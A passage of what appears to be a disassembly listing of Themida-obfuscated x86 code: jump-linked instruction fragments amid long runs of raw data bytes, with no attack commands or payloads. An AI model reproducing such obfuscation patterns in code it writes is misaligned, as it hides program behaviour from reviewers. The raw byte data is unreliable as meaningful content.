		dd 6E011BF2h, 23D1E9h, 46800h, 515A0000h, 0D46C5B9h, 59C8293Bh
		dd 0EEE9D001h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_540AFB:				; CODE XREF: Themida_:005411FBj
		inc	dh
		push	ecx
		mov	cl, 0F2h
		shl	cl, 7
		neg	cl
		push	edx
		jmp	loc_53D5B6
; ---------------------------------------------------------------------------
		db 81h
		dd 0F262D3F7h, 5FFA892Bh, 8755F281h, 0AEE9F794h, 89000005h
		dd 0E0892404h, 6CA4BB53h, 0EBD1741Dh, 0B64EEB81h, 0D8013A0Eh
		dd 4EC815Bh, 89000000h,	0F9E9240Ch
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540B43:				; CODE XREF: Themida_:005398BAj
		pop	esi
		jmp	loc_53A700
; ---------------------------------------------------------------------------
		db 31h,	0F5h, 0E9h
		dd 0FFFF7601h, 432868h,	8A9FE900h, 48BFFFFh, 4C48324h
		dd 0D0692C0Dh, 55D00D1Dh, 3C2D09EFh, 523C85Bh, 3FF31CA0h
		dd 0D158C289h, 42D2F7EAh, 0ABB0EA81h, 0CA05D0A9h, 2974A942h
		dd 42CA2DD0h, 148B74A9h, 4C48124h, 68000000h, 10C1h, 0BE243489h
		dd 19E722B7h, 0FF7F41E9h, 55E950FFh, 81FFFFB5h,	464F2434h
		dd 575A058Bh, 2F2776BFh, 0C04AE928h, 0B951FFFFh, 2, 0FF7C33E9h
		dd 4F000FFh, 0B5515A6Bh, 0E9CDFE95h, 1530h, 4927DCBAh
		dd 0EA814A40h, 66435BF9h, 5706E2C1h, 29236FBFh,	5FFA0969h
		dd 75F68h, 24348900h, 0FFA909E9h, 240C8BFFh, 4C481h, 3C870000h
		dd 24248B24h, 0E92434FFh, 0F88h, 82B65266h, 0FF77C9E9h
		dd 4ACB2DFFh, 366866FEh, 0E900001Dh, 1729h, 2ED81h, 2C870000h
		dd 56E95C24h, 89000012h, 4BA2414h, 29000000h, 4875AD0h
		dd 64E95C24h, 1FFFFAFh,	7BF8E9F0h, 815AFFFFh, 4ECh, 24348900h
		dd 601283BEh, 0CCCAE91Bh, 74FFFFFFh, 0A0E90424h, 83FFFFF5h
		dd 0B85004C4h, 181B68DDh, 0B97C381h, 5FE97087h,	0F7FFFF68h
		dd 73EF81DFh, 89C2C2DDh, 243C8BFAh, 5004C483h, 2D0214B8h
		dd 2DC28150h, 0E9162616h, 0FFFFB3D8h, 51241C89h, 0CF881DB1h
		dd 1D0E959h, 1CF60000h,	0FFE99C24h, 81FFFF60h, 0B727FAEEh
		dd 0E5C6817Eh, 0FF14A458h, 0E4E92434h, 0FFFFFF74h, 669D1C77h
		dd 4196658h, 5FE99C24h,	5DFFFFA0h, 76AFC381h, 0F301784Fh
		dd 76AFEB81h, 0EB81784Fh, 2C4A649Dh, 241C875Eh,	60BCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540D06:				; CODE XREF: Themida_:0053D261j
		shr	ecx, 8
		add	ecx, 404D6FC9h
		push	edi
		mov	edi, 6DC354D7h
		shl	edi, 5
		push	ebp
		jmp	loc_542B33
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 609CE924h, 53B9FFFFh, 295B9129h, 0C30159CBh,	4F1FBA52h
		dd 0E281402Dh, 1BD14B14h, 0FFDF88E9h, 2434FFFFh, 4C4835Ah
		dd 0FFCA4BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540D4D:				; CODE XREF: Themida_:0053BF6Fj
		push	esp
		jmp	loc_537796
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E959E828h, 0FFFF72B5h, 6CE9E95Ah, 2C89FFFFh, 68E58924h
		dd 75BAh, 0BA241489h, 1FD4553Ch, 5538BD55h, 0EA291FD4h
		dd 83242C8Bh, 14E904C4h, 81FFFFEFh, 519CDCC1h, 59C801B0h
		dd 84E9D801h, 54000013h, 0EA5E959h, 29BA0000h, 1285B16h
		dd 0ED815AD5h, 4858498Dh, 91E9FD01h, 81FFFF8Dh,	4C1h, 0BD63E900h
		dd 0E289FFFFh, 4C281h, 0EC810000h, 4, 0B9240C89h, 2, 2D74EA81h
		dd 0C28109F3h, 6CF018Ah, 1BFEA81h, 0CA01535Ah, 0FF9C36E9h
		dd 8BD689FFh, 0D7E92414h, 0B8FFFFB8h, 0EFF759Ch, 0D0F74840h
		dd 1C05D0F7h, 2960FFBAh, 0D90158C3h, 5F11685Bh,	2C890000h
		dd 0DD5FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540E1A:				; CODE XREF: Themida_:005391BCj
		push	eax
		push	esi
		jmp	loc_53F40C
; ---------------------------------------------------------------------------

loc_540E21:				; CODE XREF: Themida_:005400AEj
		mov	esi, esp
		push	3A48h
		mov	[esp], ebp
		jmp	loc_541D9B
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF5F82h, 5C243487h
		dd 88241C89h, 9BC0E9C3h, 0E955FFFFh, 0FFFFC3A6h, 2434FF5Bh
		dd 18CDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_540E5E:				; CODE XREF: Themida_:0053E2E0j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_53E088
; ---------------------------------------------------------------------------
		db 83h
		dd 0C4E904C7h, 0C0FFFFA4h, 0E6D007EEh, 888CC680h, 0F8285AF7h
		dd 0E8285B66h, 0B7538C04h, 6F02E975h, 0DFF6FFFFh, 0FFE015E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540E91:				; CODE XREF: Themida_:00539B78j
		add	esi, ebp
		pop	ebp
		push	ebp
		jmp	loc_538829
; ---------------------------------------------------------------------------

loc_540E9A:				; CODE XREF: Themida_:0053CC6Fj
		add	ebx, ecx
		pop	ecx
		jmp	loc_53D469
; ---------------------------------------------------------------------------
		dw 0DF87h
		dd 0BAE9D3F7h, 81FFFF75h, 4C4h,	49E98100h, 811FAF5Ah, 694072E9h
		dd 0E9D90118h, 0FFFF9FC7h, 0E924148Bh, 0FFFF608Dh, 0FF5EF1E9h
		dd 61BD66FFh, 0ED81663Ah, 0F7665013h, 664566D5h, 2C7CD81h
		dd 4E5C166h, 0B4F58166h, 0DB18E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540EF2:				; CODE XREF: Themida_:00539E56j
		pop	eax
		push	ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_536FBD
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF7h, 4C481h, 3C870000h, 0F665C24h, 9C2404B3h
		dd 0FF919FE9h, 6BBB53FFh, 8139D52Ah, 88592DE3h,	0CE94379h
		dd 66FFFFE9h, 6824048Bh, 58A6h,	0FF84A0E9h, 67C781FFh
		dd 1EFB814h, 0ED815FFDh, 39561946h, 0C581CD29h,	39561946h
		dd 4030B850h, 0C5296E3Fh, 0E924048Bh, 69Dh, 68243489h
		dd 2, 96C2815Eh, 0E96C4E04h, 6A6h
; ---------------------------------------------------------------------------

loc_540F98:				; CODE XREF: Themida_:005377B6j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	6275h
		mov	[esp], edi
		mov	edi, 4
		sub	esi, 1F3D646Eh
		add	esi, edi
		add	esi, 1F3D646Eh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_542BD8
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0F6h
		dd 21709B49h, 60E95DEAh, 81000011h, 4C6h, 2E5E900h, 0FB290000h
		dd 241C875Fh, 628BE95Ch, 815CFFFFh, 4C4h, 40500h, 0C0830000h
		dd 24043304h, 33240431h, 248B2404h, 24043124h, 0FFE2D5E9h
		dd 0BEF280FFh, 288FC380h, 8FEB80D3h, 0EE5FE95Ah, 8D68FFFFh
		dd 89000053h, 0F4682404h, 0E92D0D2Eh, 0FFFFFB22h
; ---------------------------------------------------------------------------

loc_541038:				; CODE XREF: Themida_:0053A712j
		pop	edi
		jmp	loc_538D52
; ---------------------------------------------------------------------------

loc_54103E:				; CODE XREF: Themida_:0053C8DBj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53B23A
; ---------------------------------------------------------------------------
		db 0F6h, 0D0h, 86h
		dd 0E232E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54107E:				; CODE XREF: Themida_:00540352j
		add	edx, edi
		pop	edi
		jmp	loc_53EBD1
; ---------------------------------------------------------------------------
		dw 5B68h
		dd 89000020h, 14F72414h, 24148B24h, 0E9E68956h,	106h, 4C481h
		dd 0C3FE0000h, 0FF6757E9h, 8E1C1FFh, 0FFA3C3E9h, 24D366FFh
		dd 7E99C24h, 0BEFFFF5Dh, 70DE5DFEh, 0D012C681h,	0F001B2F2h
		dd 0FF9CBEE9h, 5AD101FFh, 8359C801h, 0FF5002C0h, 58042474h
		dd 8B24048Fh, 2CD22424h, 0D7E99C24h, 68FFFF5Ch,	3D43h
		dd 83242489h, 8B042404h, 0C483243Ch, 0EC835304h, 242C8904h
		dd 0F87CF0BDh, 46C58105h, 0F761326Ah, 50F581DDh, 812AFE41h
		dd 2B599EF5h, 5DEB89B2h, 815BDF01h, 4ECh, 242C8900h, 2BDh
		dd 5DEF0100h, 24DE9h, 24248B00h, 55240C89h, 1BDh, 34FF5500h
		dd 0C4835924h, 0DBC6E904h, 0F7BBFFFFh, 0E9785916h, 0FFFFC594h
		dd 8BE9D301h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541163:				; CODE XREF: Themida_:0053D9D6j
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_537AA5
; ---------------------------------------------------------------------------
		dd 217AC581h, 0C5832A2Bh, 94CD8101h, 0E9086F0Dh, 394h
; ---------------------------------------------------------------------------

loc_541184:				; CODE XREF: Themida_:0054192Dj
		push	esi
		mov	esi, 728C1C6Fh
		xor	esi, 1D2E0225h
		push	ecx
		mov	ecx, 48C00E04h
		sub	ecx, 7EBD7463h
		dec	ecx
		jmp	loc_53DB21
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704C683h, 0C15C2434h, 0EC8306E2h, 243C8904h, 0FFB658E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5411BD:				; CODE XREF: Themida_:00539924j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_542C1D
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 78A2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5411CE:				; CODE XREF: Themida_:00538521j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	al, 0B2h
		mov	dl, al
		jmp	loc_53E079
; ---------------------------------------------------------------------------

loc_5411E1:				; CODE XREF: Themida_:0053F013j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_538216
; ---------------------------------------------------------------------------

loc_5411EA:				; CODE XREF: Themida_:0053D0A2j
		xor	ah, 0DBh
		add	dh, 92h
		add	dh, ah
		sub	dh, 92h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_540AFB
; ---------------------------------------------------------------------------

loc_541200:				; CODE XREF: Themida_:0053A4B6j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	5B8E083Bh
		jmp	loc_54124A
; ---------------------------------------------------------------------------

loc_541220:				; CODE XREF: Themida_:0053C810j
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_53E111
; ---------------------------------------------------------------------------

loc_541230:				; CODE XREF: Themida_:005398CBj
		mov	eax, 42AC3F49h
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		xchg	eax, ebp
		pop	ebp
		and	eax, 6FA00F87h
		push	ecx
		jmp	loc_538592
; ---------------------------------------------------------------------------

loc_54124A:				; CODE XREF: Themida_:0054121Bj
		pop	esi
		xor	esi, 28D332B2h
		jmp	loc_53A3C5
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 7E95500h, 81FFFFA0h, 4C1h, 23E95300h, 43FFFF78h
		dd 77B3EB81h, 0DF013CA4h, 59E6685Bh, 0C890000h,	6700E924h
		dd 0EC83FFFFh, 24048904h, 0AFE95266h, 80FFFF75h, 0C280ABF2h
		dd 0B61EE92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54129E:				; CODE XREF: Themida_:0053C030j
		add	ebx, edi
		sub	ebx, 5CE363B4h
		sub	ebx, 74825E6Ah
		sub	ebx, 604E654Bh
		jmp	loc_53716E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 97B4E953h, 0E681FFFFh, 0F217713h, 84E9DEF7h,	81000014h
		dd 4EEh, 24348700h, 2434895Ch, 5550E689h, 0FE5926BDh, 7FFEB829h
		dd 0E829A298h, 0E8C1405Dh, 36BF2505h, 32350946h, 81014410h
		dd 41699BC6h, 81C6012Ch, 41699BEEh, 0C683582Ch,	0D396E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54130E:				; CODE XREF: Themida_:0053D4DAj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_53714F
; ---------------------------------------------------------------------------
		db 28h,	0E3h, 80h
		dd 48BB5EBh, 4C48324h, 41EB80h,	0A6E952C3h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54132F:				; CODE XREF: Themida_:00540979j
		shr	eax, 4
		shl	eax, 1
		shr	eax, 3
		shr	eax, 8
		add	eax, 777D0EC6h
		and	edi, eax
		pop	eax
		jmp	loc_53EB94
; ---------------------------------------------------------------------------
		db 59h
		dd 1C8BF830h, 401A6824h, 1C890000h, 0E9E38924h,	88Fh, 5759CF01h
		dd 42474FFh, 81243C8Bh,	4C4h, 71EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541372:				; CODE XREF: Themida_:0053CB98j
		add	esp, 4
		add	esi, 2C8D6952h
		shl	esi, 3
		jmp	loc_53ADF8
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 0E9042474h, 0FFFFC256h, 0C33AE955h, 0E989FFFFh, 0FFFE29E9h
		dd 0F83166FFh, 0E92434FFh, 0FFFF60BFh, 4BAh, 5AD08900h
		dd 29A5BE56h, 0F22966DBh, 0FFC35AE9h, 67C581FFh, 58567F43h
		dd 8702ED83h, 248B242Ch, 14896624h, 9C506624h, 0FF59E9E9h
		dd 720268FFh, 47E90000h, 0B6FFFF93h, 80D6F6EAh,	0EE800DEEh
		dd 2E6C0FFh, 0DDEE80h, 0D9085AF3h, 7FC1805Bh, 0C044B353h
		dd 0C38004E3h, 5BD90045h, 70E95350h, 81FFFFD8h,	4ECh, 241C8900h
		dd 0FFDC9DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54141D:				; CODE XREF: Themida_:0053D836j
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5406D8
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 0B192E9C1h, 5456FFFFh, 8B2434FFh, 0C4812434h, 4, 5304C483h
		dd 4BBh, 5BDE0100h, 4BF57h, 2CE90000h, 89FFFF82h, 8B542414h
		dd 0EC832414h, 240C8904h, 8904EC83h, 4832424h, 1AE90424h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541477:				; CODE XREF: Themida_:00540414j
		sub	edx, esi
		add	edx, 57582009h
		pop	esi
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 74FF5700h, 8F5F0424h, 315C2404h, 0E9C231C3h
		dd 0FFFF591Eh
; ---------------------------------------------------------------------------

loc_5414A4:				; CODE XREF: Themida_:00541A39j
		add	edx, 5B833B08h
		jmp	loc_53FE13
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFCF49E9h, 0D08850FFh, 8B58C188h, 0C4832414h, 66C83004h
		dd 83240C8Bh, 0B05002C4h, 0E9C30040h, 0FFFFB76Ch, 4C181h
		dd 56500000h, 3ECE9h, 1EC8000h,	0E904EC83h, 0FFFF5A9Ch
; ---------------------------------------------------------------------------

loc_5414EC:				; CODE XREF: Themida_:00537176j
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_539015
; ---------------------------------------------------------------------------
		dw 0FF64h
		dd 58B4E932h, 5BBAFFFFh, 0E96DD35Bh, 0FFFFB232h, 8DFDED81h
		dd 0BA5229FFh, 6C0B7060h, 0CFE9D701h, 5DFFFFC7h, 6D6D2D48h
		dd 0E9557AAAh, 0FFFFC580h, 6583E948h, 14F7FFFFh, 0B8505A24h
		dd 5DA045A5h, 0FFC1B1E9h, 5AD101FFh, 3BA268h, 241C8900h
		dd 64FFBF57h, 5BB0599h,	1FA669Bh, 0D9015FFBh, 825E9h, 5EE95700h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541573:				; CODE XREF: Themida_:0053E10Cj
		neg	esi
		push	eax
		jmp	loc_542B06
; ---------------------------------------------------------------------------
		db 56h
		dd 175BE9h, 74FF5200h, 0E95A0424h, 0FFFFEDB8h
; ---------------------------------------------------------------------------

loc_54158C:				; CODE XREF: Themida_:0053F2E5j
		mov	edx, 1Ch
		push	ecx
		mov	ecx, 17542E8Fh
		add	edx, 24BD0E82h
		add	edx, ecx
		sub	edx, 24BD0E82h
		pop	ecx
		jmp	loc_541917
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF5806h, 0B9240C89h
		dd 2, 0FFEA9FE9h, 14335FFFh, 24143124h,	5C241433h, 9C240CFEh
		dd 0FF57E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5415DD:				; CODE XREF: Themida_:0053A1EFj
		neg	eax
		jmp	loc_540048
; ---------------------------------------------------------------------------
		dd 5BF800h, 66752CD0h, 28422C5Ah, 0E94204D8h, 0FFFF6239h
		dd 50F7C380h, 6615B353h, 28D9B252h, 805A66D3h, 0EB805CF3h
		dd 0E6F3808Fh, 805BDC88h, 0C480C3C4h, 48EC8001h, 0FFAAFBE9h
		dd 4C483FFh, 83240C8Bh,	2C8704C4h, 89665C24h, 0F66240Ch
		dd 5166C8B6h, 5784E99Ch, 0F201FFFFh, 496EA81h, 875E6C4Eh
		dd 0E95C2414h, 0FFFFED8Dh, 0E904EC83h, 0FFFF6888h
; ---------------------------------------------------------------------------

loc_541658:				; CODE XREF: Themida_:0053EE23j
		pop	ebx
		jmp	loc_5388EF
; ---------------------------------------------------------------------------
		dw 0ABAh
		dd 8150067Ah, 0F985FAC2h, 5AD689AFh, 0FFB501E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541671:				; CODE XREF: Themida_:0053E5B1j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5416A7
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E8E95450h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5416A7:				; CODE XREF: Themida_:00541698j
		push	55B9h
		jmp	loc_53B71F
; ---------------------------------------------------------------------------
		db 5Ah,	0C0h, 0E0h
		dd 34FF0408h, 2E8C0C2h,	0C6306D2Ch, 8B2434FFh, 0C4832404h
		dd 4C48104h, 53000000h,	0EB80B6B3h, 66EB80DDh, 8061F380h
		dd 0DE2015F3h, 3EEC05Bh, 0FFBDB7E9h, 46C505FFh,	148B3B0Dh
		dd 0D4CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5416F6:				; CODE XREF: Themida_:0053883Dj
		add	dh, 0B2h
		sub	al, dh
		jmp	loc_53DB2C
; ---------------------------------------------------------------------------
		dd 565B0303h, 0C6815E54h, 4, 1AE768h, 242C8900h, 6453B2BDh
		dd 0C1D5F77Fh, 0ED8302E5h, 57E36801h, 0C890000h, 4062B924h
		dd 0D1F775D2h, 2FB0C181h, 68532F37h, 4E3Ah, 0BE243489h
		dd 48500CF7h, 981E1DBBh, 5EF32998h, 815BD929h, 726F08F1h
		dd 8ED816Bh, 2915EC2Dh,	8C581CDh, 5915EC2Dh, 875DEE29h
		dd 0E95C2434h, 0FFFFA1A6h
; ---------------------------------------------------------------------------

loc_541770:				; CODE XREF: Themida_:00538818j
		and	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_53A2F9
; ---------------------------------------------------------------------------

loc_54177A:				; CODE XREF: Themida_:00539B3Fj
		or	eax, 7751974h
		sub	eax, 0DEB9FB1Ah
		xor	esi, eax
		pop	eax
		xor	esi, 2DA404BEh
		or	edi, esi
		jmp	loc_539E72
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 54E5BA24h, 0B8502CC6h, 261900FBh
		dd 8244429h, 5724048Bh,	0C781E789h, 4, 4C781h, 8CE90000h
		dd 29FFFF7Eh, 242C8BE9h, 0E904C483h, 0FFFF5665h, 4C781h
		dd 3C870000h, 0E5E95C24h, 5BFFFF7Eh, 0FFBAF3E9h, 243489FFh
		dd 0C118AA68h, 24348B22h, 11C8E952h
		db 2 dup(0), 59h
; ---------------------------------------------------------------------------

loc_5417F7:				; CODE XREF: Themida_:0053F772j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, [esp]
		push	3D89h
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	edi, 1E81630Fh
		mov	ebx, edi
		pop	edi
		jmp	loc_537055
; ---------------------------------------------------------------------------

loc_541826:				; CODE XREF: Themida_:0053A495j
		sub	edi, 233940C6h
		sub	edi, 74EA04BCh
		push	ebp
		jmp	loc_53F06B
; ---------------------------------------------------------------------------

loc_541838:				; CODE XREF: Themida_:00542997j
		pop	ecx
		push	edi
		push	4937h
		mov	[esp], edx
		mov	edx, 7AE07157h
		mov	edi, edx
		mov	edx, [esp]
		jmp	loc_53ACCD
; ---------------------------------------------------------------------------

loc_541851:				; CODE XREF: Themida_:0053EBEDj
		mov	eax, [ebx]
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_53A0D3
; ---------------------------------------------------------------------------

loc_541869:				; CODE XREF: Themida_:0054266Bj
		push	dword ptr [esp]
		jmp	loc_538807
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8B2434FFh, 0AE92404h, 29FFFF5Ch, 0BB2AE9D0h,	34FFFFFFh
		dd 54575824h, 0B6BB535Fh, 0E93CA477h, 0FFFFF9D7h, 4C4835Ah
		dd 0FFC641E9h, 5832FFFFh, 0FC2815Ah, 144C557h, 7BBF57C2h
		dd 686FC636h, 291Ah, 0B8240489h, 36760820h, 0FFD79FE9h
		dd 45DDF7FFh, 0FFE48CE9h, 4BEFFh, 0F0890000h, 0FF607BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5418D9:				; CODE XREF: Themida_:005392AEj
		sub	esi, eax
		pop	eax
		add	esi, 0BB40D9Eh
		sub	esi, edx
		sub	esi, 0BB40D9Eh
		jmp	loc_53E680
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0B05002EAh, 310462h,	0CA8058C2h, 1EA8080h, 0FF7150E9h
		dd 80DBB2FFh, 0B6E9F3EAh, 8FFFFFCEh, 38E92404h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541917:				; CODE XREF: Themida_:005415A6j
		add	edx, 0FDC15E7h
		add	edx, edi
		sub	edx, 0FDC15E7h
		push	edi
		mov	edi, 0AE5262Ah
		not	edi
		jmp	loc_541184
; ---------------------------------------------------------------------------
		dw 0C1BFh
		dd 513F2211h, 559DCB9h,	0E9CF0163h, 0FFFF5A59h,	4EC81h
		dd 0C890000h, 34FF5B24h, 240C8B24h, 4C481h, 0C4830000h
		dd 245C0104h, 241C8B04h, 4C481h, 90E90000h, 30FFFFE7h
		dd 805A66D7h, 0F780C5F7h, 0E9FE28AFh, 0FFFF6A4Fh, 8704EB83h
		dd 545C241Ch, 8324048Fh, 5B042404h, 4C381h, 68E90000h
		dd 66FFFF8Ch, 9C241CF7h, 0FFCCF2E9h, 2867B1FFh,	240C8BCAh
		dd 4C481h, 51660000h, 0B17CB252h, 5AD13009h, 0C800982Ch
		dd 0FF860CE9h, 1C680FFh, 0F680CEFEh, 0E96B2C02h, 0FFFFF1F9h
		dd 77E568h, 240C8900h, 0F58666B5h, 0F586D6F6h, 0ED80C5FEh
		dd 6B2C5Bh, 596B04E8h, 0FF737AE9h, 0C3166FFh, 0E9876624h
		dd 0F7669566h, 669566D0h, 8766E987h, 8B66240Ch,	5456243Ch
		dd 0FF8E78E9h, 0C4835EFFh, 81C30104h, 6C6DEBC3h, 8F6614h
		dd 0FF5399E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541A29:				; CODE XREF: Themida_:0053956Ej
		add	esi, 1
		push	3F07h
		mov	[esp], edx
		mov	edx, 47A158F1h
		jmp	loc_5414A4
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 57000000h,	4BFh, 0F594E900h, 77FFFFFFh, 59669D1Ch
		dd 241CD366h, 5360E99Ch, 0E689FFFFh, 4C681h, 0EE830000h
		dd 24348704h, 242C895Ch, 4BDh, 4EC8300h, 5E242C89h, 2474015Dh
		dd 24348B04h, 0FF7A03E9h, 240C8BFFh, 4C481h, 0F7010000h
		dd 243C335Eh, 33243C31h, 248B243Ch, 0B60F6624h,	22B568C8h
		dd 34890000h, 0A39AE924h, 0C781FFFFh, 1, 191FEF81h, 512DBAC5h
		dd 50C0D03h, 3B7C79A4h,	44E9F801h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541AD3:				; CODE XREF: Themida_:00539C9Ej
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_540335
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
		dd 593E9h, 81CA0100h, 43F6AC2h,	240C8B0Bh, 4C481h, 14870000h
		dd 24248B24h, 240CD366h, 52B0E99Ch, 0D821FFFFh,	2C7A355Bh
		dd 0C1310329h, 81E9D158h, 90C628E9h, 0CEC78101h, 17C9512h
		dd 0CEEF81CFh, 8B7C9512h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_542E03
; ---------------------------------------------------------------------------
		dw 8153h
		dd 73E12404h, 0E9597A1Bh, 0FFFFB5B6h, 79B85049h, 0C154A073h
		dd 0E94808E8h, 0FFFF8D31h
; ---------------------------------------------------------------------------

loc_541B68:				; CODE XREF: Themida_:00538B4Aj
		pop	esp
		push	edi
		mov	edi, 46190476h
		xor	edi, 3DAE204Ch
		jmp	loc_53DBD5
; ---------------------------------------------------------------------------

loc_541B7A:				; CODE XREF: Themida_:0053D3E7j
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_537648
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9535900h, 0FFFF9C9Ah, 8124048Bh, 4C4h, 22766800h
		dd 3C890000h, 0E6895624h, 4C681h, 0EE830000h, 1183E904h
		dd 248B0000h, 4EE8124h,	87000000h, 248B2434h, 242C8924h
		dd 0FF79B9E9h, 30EA81FFh, 5343EA7Fh, 2B94B951h,	71E9707Ah
		dd 83FFFF5Ch, 0C8904ECh, 4B924h, 0CB010000h, 0FFB0EFE9h
		dd 1802DFFh, 0E95D45CFh, 0FFFFD3AAh
; ---------------------------------------------------------------------------

loc_541C08:				; CODE XREF: Themida_:00541E34j
		mov	ch, 0A0h
		jmp	loc_53B95E
; ---------------------------------------------------------------------------
		db 81h
		dd 2114C2C5h, 0EAE3E966h, 0B151FFFFh, 0A296E936h, 0FB01FFFFh
		dd 0FF67B4E9h, 5DE831FFh, 158C301h, 34335BDEh, 24343124h
		dd 8B243433h, 79E92424h, 81000001h, 4C1h, 0BFE95200h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541C4F:				; CODE XREF: Themida_:00538D54j
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_53A191
; ---------------------------------------------------------------------------
		db 9, 0E8h, 0E9h
		dd 0FFFF9407h, 4C481h, 15E90000h, 1FFFFDDh, 0C82958C1h
		dd 68240C8Bh, 1547h, 0E9240C89h, 0FFFF9494h, 8904EC83h
		dd 0EC83241Ch, 24248904h, 4240481h, 8B000000h, 0E953241Ch
		dd 0FFFFB534h, 674E68h,	242C8900h, 7A093EBDh, 4E5C168h
		dd 1D6F581h, 814D0E59h,	85C169F5h, 5DEF0195h, 4CD8E781h
